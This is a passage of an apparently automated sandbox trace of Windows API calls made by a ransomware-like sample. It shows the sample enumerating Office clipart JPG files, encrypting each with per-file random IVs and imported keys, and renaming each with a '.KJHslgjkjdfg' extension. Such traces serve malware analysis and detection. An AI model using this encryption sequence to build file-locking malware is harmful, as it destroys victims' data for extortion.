lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.594] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.594] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.594] GetProcessHeap () returned 0x990000 [0196.594] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.594] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.594] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.594] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.594] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.594] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.594] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.595] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.595] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.595] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.595] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb12e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb12e, lpOverlapped=0x0) returned 1 [0196.597] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb130, dwBufLen=0xb130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb130) returned 1 [0196.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.598] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb130, lpOverlapped=0x0) returned 1 [0196.598] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.598] SetEndOfFile (hFile=0x130) returned 1 [0196.608] GetProcessHeap () returned 0x990000 [0196.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.608] GetProcessHeap () returned 0x990000 [0196.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.kjhslgjkjdfg")) returned 1 [0196.609] CloseHandle (hObject=0x130) returned 1 [0196.609] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0196.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.611] GetProcessHeap () returned 0x990000 [0196.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.611] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.611] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0196.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.614] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.614] GetProcessHeap () returned 0x990000 [0196.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.614] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.614] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.615] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.615] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.615] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.615] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.615] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd902, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd902, lpOverlapped=0x0) returned 1 [0196.619] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd910, dwBufLen=0xd910 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd910) returned 1 [0196.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.620] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd910, lpOverlapped=0x0) returned 1 [0196.620] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.620] SetEndOfFile (hFile=0x130) returned 1 [0196.623] GetProcessHeap () returned 0x990000 [0196.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.623] GetProcessHeap () returned 0x990000 [0196.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.kjhslgjkjdfg")) returned 1 [0196.625] CloseHandle (hObject=0x130) returned 1 [0196.625] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0196.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.626] GetProcessHeap () returned 0x990000 [0196.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.626] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.626] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0196.634] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.634] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.634] GetProcessHeap () returned 0x990000 [0196.634] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.634] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.635] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.635] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.635] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.635] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.635] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.635] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.635] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x907d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x907d, lpOverlapped=0x0) returned 1 [0196.636] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9080, dwBufLen=0x9080 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9080) returned 1 [0196.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.637] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9080, lpOverlapped=0x0) returned 1 [0196.637] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.637] SetEndOfFile (hFile=0x130) returned 1 [0196.640] GetProcessHeap () returned 0x990000 [0196.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.640] GetProcessHeap () returned 0x990000 [0196.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.kjhslgjkjdfg")) returned 1 [0196.642] CloseHandle (hObject=0x130) returned 1 [0196.643] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0196.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.643] GetProcessHeap () returned 0x990000 [0196.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.644] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.655] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.655] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.656] GetProcessHeap () returned 0x990000 [0196.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.656] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.656] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.656] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.656] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.656] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.657] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7214, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7214, lpOverlapped=0x0) returned 1 [0196.658] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7220, dwBufLen=0x7220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7220) returned 1 [0196.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.659] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7220, lpOverlapped=0x0) returned 1 [0196.659] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.659] SetEndOfFile (hFile=0x130) returned 1 [0196.662] GetProcessHeap () returned 0x990000 [0196.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.662] GetProcessHeap () returned 0x990000 [0196.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.kjhslgjkjdfg")) returned 1 [0196.663] CloseHandle (hObject=0x130) returned 1 [0196.663] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0196.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.664] GetProcessHeap () returned 0x990000 [0196.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0196.669] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.669] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.669] GetProcessHeap () returned 0x990000 [0196.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.669] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.669] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.670] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, 